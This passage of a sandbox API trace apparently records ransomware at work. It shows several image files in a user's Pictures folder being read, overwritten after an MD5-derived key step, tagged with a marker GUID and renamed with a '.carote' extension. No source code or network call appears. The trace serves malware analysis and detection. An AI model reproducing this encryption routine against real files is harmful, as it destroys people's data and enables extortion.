(lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0112.403] WriteFile (in: hFile=0x61c, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x825fb2c*=0x26, lpOverlapped=0x0) returned 1 [0112.403] CloseHandle (hObject=0x61c) returned 1 [0112.404] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\hoFR8_x Tu2XGiHDqM.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\hofr8_x tu2xgihdqm.gif"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\hoFR8_x Tu2XGiHDqM.gif.carote" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\hofr8_x tu2xgihdqm.gif.carote")) returned 1 [0112.405] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfeb6edd0, ftCreationTime.dwHighDateTime=0x1d4d4fe, ftLastAccessTime.dwLowDateTime=0xcb466a50, ftLastAccessTime.dwHighDateTime=0x1d4cf06, ftLastWriteTime.dwLowDateTime=0xcb466a50, ftLastWriteTime.dwHighDateTime=0x1d4cf06, nFileSizeHigh=0x0, nFileSizeLow=0x14a99, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="mcLNkatVL.bmp", cAlternateFileName="MCLNKA~1.BMP")) returned 1 [0112.405] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\mcLNkatVL.bmp") returned=".bmp" [0112.405] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\mcLNkatVL.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\mclnkatvl.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0112.405] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x825fb4c | out: lpFileSize=0x825fb4c*=84633) returned 1 [0112.405] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x83a0000 [0112.407] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x14a73, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.407] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x825fb7c, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb7c*=0x26, lpOverlapped=0x0) returned 1 [0112.408] SetFilePointer (in: hFile=0x61c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0112.408] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x825fb78, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb78*=0x14a99, lpOverlapped=0x0) returned 1 [0112.409] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0112.409] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x25) returned 0x7a43f90 [0112.409] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0112.409] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0112.409] CryptAcquireContextW (in: phProv=0x825fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x825fa94*=0x50ecf90) returned 1 [0112.410] CryptCreateHash (in: hProv=0x50ecf90, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x825fa9c | out: phHash=0x825fa9c) returned 1 [0112.410] CryptHashData (hHash=0x7a427e0, pbData=0x7a43f90, dwDataLen=0x25, dwFlags=0x0) returned 1 [0112.410] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x825fa98) returned 1 [0112.410] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x11) returned 0x7a13260 [0112.410] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x7a13260, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x7a13260, pdwDataLen=0x825fa98) returned 1 [0112.410] GetLastError () returned 0x0 [0112.410] CryptDestroyHash (hHash=0x7a427e0) returned 1 [0112.410] CryptReleaseContext (hProv=0x50ecf90, dwFlags=0x0) returned 1 [0112.410] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a43f90 | out: hHeap=0x5010000) returned 1 [0112.410] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x14aa0) returned 0x7b182e0 [0112.411] SetFilePointer (in: hFile=0x61c, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0112.411] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05e80 | out: hHeap=0x5010000) returned 1 [0112.411] WriteFile (in: hFile=0x61c, lpBuffer=0x7b182e0*, nNumberOfBytesToWrite=0x14a94, lpNumberOfBytesWritten=0x825fb24, lpOverlapped=0x0 | out: lpBuffer=0x7b182e0*, lpNumberOfBytesWritten=0x825fb24*=0x14a94, lpOverlapped=0x0) returned 1 [0112.411] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b182e0 | out: hHeap=0x5010000) returned 1 [0112.411] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x14a99, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.411] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797c048 [0112.411] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x428) returned 0x7b182e0 [0112.411] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1", cchWideChar=-1, lpMultiByteStr=0x7b182e0, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1", lpUsedDefaultChar=0x0) returned 41 [0112.411] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x430) returned 0x7b18710 [0112.411] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b182e0 | out: hHeap=0x5010000) returned 1 [0112.411] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797c048 | out: hHeap=0x5010000) returned 1 [0112.411] WriteFile (in: hFile=0x61c, lpBuffer=0x7b18710*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x7b18710*, lpNumberOfBytesWritten=0x825fb2c*=0x28, lpOverlapped=0x0) returned 1 [0112.411] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b18710 | out: hHeap=0x5010000) returned 1 [0112.411] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0112.411] WriteFile (in: hFile=0x61c, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x825fb2c*=0x26, lpOverlapped=0x0) returned 1 [0112.411] CloseHandle (hObject=0x61c) returned 1 [0112.412] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a48768 [0112.412] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x880) returned 0x7b182e0 [0112.412] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a48768 | out: hHeap=0x5010000) returned 1 [0112.413] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\mcLNkatVL.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\mclnkatvl.bmp"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\mcLNkatVL.bmp.carote" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\mclnkatvl.bmp.carote")) returned 1 [0112.413] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b182e0 | out: hHeap=0x5010000) returned 1 [0112.413] VirtualFree (lpAddress=0x83a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0112.414] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50fb750 | out: hHeap=0x5010000) returned 1 [0112.414] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf9535880, ftCreationTime.dwHighDateTime=0x1d4c9cb, ftLastAccessTime.dwLowDateTime=0xa16895b0, ftLastAccessTime.dwHighDateTime=0x1d4d266, ftLastWriteTime.dwLowDateTime=0xa16895b0, ftLastWriteTime.dwHighDateTime=0x1d4d266, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="rBkn83DAvewyB", cAlternateFileName="RBKN83~1")) returned 1 [0112.414] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a48768 [0112.414] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a489c0 [0112.414] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a48948 [0112.414] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a489c0 | out: hHeap=0x5010000) returned 1 [0112.414] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a48768 | out: hHeap=0x5010000) returned 1 [0112.414] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2697e9c0, ftCreationTime.dwHighDateTime=0x1d4c817, ftLastAccessTime.dwLowDateTime=0xf1ea5b00, ftLastAccessTime.dwHighDateTime=0x1d4c8c4, ftLastWriteTime.dwLowDateTime=0xf1ea5b00, ftLastWriteTime.dwHighDateTime=0x1d4c8c4, nFileSizeHigh=0x0, nFileSizeLow=0x4562, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="sLHdw2s-tEQcdxTjD.jpg", cAlternateFileName="SLHDW2~1.JPG")) returned 1 [0112.414] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x50) returned 0x7a0d3f0 [0112.414] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ecf90 [0112.414] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a0d3f0 | out: hHeap=0x5010000) returned 1 [0112.414] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\sLHdw2s-tEQcdxTjD.jpg") returned=".jpg" [0112.414] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\sLHdw2s-tEQcdxTjD.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\slhdw2s-teqcdxtjd.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0112.414] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x825fb4c | out: lpFileSize=0x825fb4c*=17762) returned 1 [0112.415] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x83a0000 [0112.416] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x453c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.416] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x825fb7c, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb7c*=0x26, lpOverlapped=0x0) returned 1 [0112.418] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x30) returned 0x7a05e80 [0112.418] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05e80 | out: hHeap=0x5010000) returned 1 [0112.418] SetFilePointer (in: hFile=0x61c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0112.418] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x825fb78, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb78*=0x4562, lpOverlapped=0x0) returned 1 [0112.418] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0112.418] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x25) returned 0x7a43f90 [0112.418] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0112.418] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0112.418] CryptAcquireContextW (in: phProv=0x825fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x825fa94*=0x50ecc60) returned 1 [0112.419] CryptCreateHash (in: hProv=0x50ecc60, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x825fa9c | out: phHash=0x825fa9c) returned 1 [0112.419] CryptHashData (hHash=0x7a427e0, pbData=0x7a43f90, dwDataLen=0x25, dwFlags=0x0) returned 1 [0112.419] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x825fa98) returned 1 [0112.419] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x11) returned 0x7a13260 [0112.419] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x7a13260, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x7a13260, pdwDataLen=0x825fa98) returned 1 [0112.419] GetLastError () returned 0x0 [0112.419] CryptDestroyHash (hHash=0x7a427e0) returned 1 [0112.419] CryptReleaseContext (hProv=0x50ecc60, dwFlags=0x0) returned 1 [0112.419] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a43f90 | out: hHeap=0x5010000) returned 1 [0112.419] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x4560) returned 0x7b182e0 [0112.420] SetFilePointer (in: hFile=0x61c, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0112.420] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05e80 | out: hHeap=0x5010000) returned 1 [0112.420] WriteFile (in: hFile=0x61c, lpBuffer=0x7b182e0*, nNumberOfBytesToWrite=0x455d, lpNumberOfBytesWritten=0x825fb24, lpOverlapped=0x0 | out: lpBuffer=0x7b182e0*, lpNumberOfBytesWritten=0x825fb24*=0x455d, lpOverlapped=0x0) returned 1 [0112.420] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b182e0 | out: hHeap=0x5010000) returned 1 [0112.420] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x4562, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.420] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797c048 [0112.420] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x428) returned 0x7b182e0 [0112.420] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1", cchWideChar=-1, lpMultiByteStr=0x7b182e0, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1", lpUsedDefaultChar=0x0) returned 41 [0112.420] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x430) returned 0x7b18710 [0112.420] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b182e0 | out: hHeap=0x5010000) returned 1 [0112.420] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797c048 | out: hHeap=0x5010000) returned 1 [0112.420] WriteFile (in: hFile=0x61c, lpBuffer=0x7b18710*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x7b18710*, lpNumberOfBytesWritten=0x825fb2c*=0x28, lpOverlapped=0x0) returned 1 [0112.420] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b18710 | out: hHeap=0x5010000) returned 1 [0112.420] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0112.420] WriteFile (in: hFile=0x61c, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x825fb2c*=0x26, lpOverlapped=0x0) returned 1 [0112.420] CloseHandle (hObject=0x61c) returned 1 [0112.421] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ecc60 [0112.421] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x890) returned 0x7b182e0 [0112.421] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ecc60 | out: hHeap=0x5010000) returned 1 [0112.421] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\sLHdw2s-tEQcdxTjD.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\slhdw2s-teqcdxtjd.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\sLHdw2s-tEQcdxTjD.jpg.carote" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\slhdw2s-teqcdxtjd.jpg.carote")) returned 1 [0112.422] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b182e0 | out: hHeap=0x5010000) returned 1 [0112.422] VirtualFree (lpAddress=0x83a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0112.422] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ecf90 | out: hHeap=0x5010000) returned 1 [0112.423] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa9379e70, ftCreationTime.dwHighDateTime=0x1d4cc0e, ftLastAccessTime.dwLowDateTime=0x8e3762a0, ftLastAccessTime.dwHighDateTime=0x1d4d081, ftLastWriteTime.dwLowDateTime=0x8e3762a0, ftLastWriteTime.dwHighDateTime=0x1d4d081, nFileSizeHigh=0x0, nFileSizeLow=0xf87d, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="vqrGBu_vIn8q3b.jpg", cAlternateFileName="VQRGBU~1.JPG")) returned 1 [0112.423] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x50) returned 0x7a0d3f0 [0112.423] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ecf90 [0112.423] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a0d3f0 | out: hHeap=0x5010000) returned 1 [0112.423] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\vqrGBu_vIn8q3b.jpg") returned=".jpg" [0112.423] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\vqrGBu_vIn8q3b.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\vqrgbu_vin8q3b.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0112.423] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x825fb4c | out: lpFileSize=0x825fb4c*=63613) returned 1 [0112.423] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x83a0000 [0112.425] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0xf857, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.425] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x825fb7c, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb7c*=0x26, lpOverlapped=0x0) returned 1 [0112.426] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x30) returned 0x7a05e80 [0112.426] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05e80 | out: hHeap=0x5010000) returned 1 [0112.426] SetFilePointer (in: hFile=0x61c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0112.426] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x825fb78, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb78*=0xf87d, lpOverlapped=0x0) returned 1 [0112.427] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0112.427] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x25) returned 0x7a43f90 [0112.427] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0112.427] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0112.427] CryptAcquireContextW (in: phProv=0x825fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x825fa94*=0x50ecc60) returned 1 [0112.428] CryptCreateHash (in: hProv=0x50ecc60, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x825fa9c | out: phHash=0x825fa9c) returned 1 [0112.428] CryptHashData (hHash=0x7a427e0, pbData=0x7a43f90, dwDataLen=0x25, dwFlags=0x0) returned 1 [0112.428] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x825fa98) returned 1 [0112.428] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x11) returned 0x7a13260 [0112.428] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x7a13260, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x7a13260, pdwDataLen=0x825fa98) returned 1 [0112.428] GetLastError () returned 0x0 [0112.428] CryptDestroyHash (hHash=0x7a427e0) returned 1 [0112.428] CryptReleaseContext (hProv=0x50ecc60, dwFlags=0x0) returned 1 [0112.428] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a43f90 | out: hHeap=0x5010000) returned 1 [0112.428] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xf880) returned 0x7b182e0 [0112.428] SetFilePointer (in: hFile=0x61c, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0112.428] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05e80 | out: hHeap=0x5010000) returned 1 [0112.428] WriteFile (in: hFile=0x61c, lpBuffer=0x7b182e0*, nNumberOfBytesToWrite=0xf878, lpNumberOfBytesWritten=0x825fb24, lpOverlapped=0x0 | out: lpBuffer=0x7b182e0*, lpNumberOfBytesWritten=0x825fb24*=0xf878, lpOverlapped=0x0) returned 1 [0112.429] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b182e0 | out: hHeap=0x5010000) returned 1 [0112.429] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0xf87d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.429] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797c048 [0112.429] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x428) returned 0x7b182e0 [0112.429] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1", cchWideChar=-1, lpMultiByteStr=0x7b182e0, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1", lpUsedDefaultChar=0x0) returned 41 [0112.429] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x430) returned 0x7b18710 [0112.429] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b182e0 | out: hHeap=0x5010000) returned 1 [0112.429] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797c048 | out: hHeap=0x5010000) returned 1 [0112.429] WriteFile (in: hFile=0x61c, lpBuffer=0x7b18710*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x7b18710*, lpNumberOfBytesWritten=0x825fb2c*=0x28, lpOverlapped=0x0) returned 1 [0112.429] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b18710 | out: hHeap=0x5010000) returned 1 [0112.429] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0112.429] WriteFile (in: hFile=0x61c, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x825fb2c*=0x26, lpOverlapped=0x0) returned 1 [0112.429] CloseHandle (hObject=0x61c) returned 1 [0112.430] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ecc60 [0112.430] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x890) returned 0x7b182e0 [0112.430] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ecc60 | out: hHeap=0x5010000) returned 1 [0112.430] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\vqrGBu_vIn8q3b.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\vqrgbu_vin8q3b.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\vqrGBu_vIn8q3b.jpg.carote" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\vqrgbu_vin8q3b.jpg.carote")) returned 1 [0112.431] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b182e0 | out: hHeap=0x5010000) returned 1 [0112.431] VirtualFree (lpAddress=0x83a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0112.431] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ecf90 | out: hHeap=0x5010000) returned 1 [0112.432] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x36ed3020, ftCreationTime.dwHighDateTime=0x1d4d1ca, ftLastAccessTime.dwLowDateTime=0xbb922bc0, ftLastAccessTime.dwHighDateTime=0x1d4d010, ftLastWriteTime.dwLowDateTime=0xbb922bc0, ftLastWriteTime.dwHighDateTime=0x1d4d010, nFileSizeHigh=0x0, nFileSizeLow=0x474f, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="YE BtExcqJs.bmp", cAlternateFileName="YEBTEX~1.BMP")) returned 1 [0112.432] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x50) returned 0x7a0d3f0 [0112.432] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x76) returned 0x50fb750 [0112.432] HeapFree (in: hHeap=0x5010000, 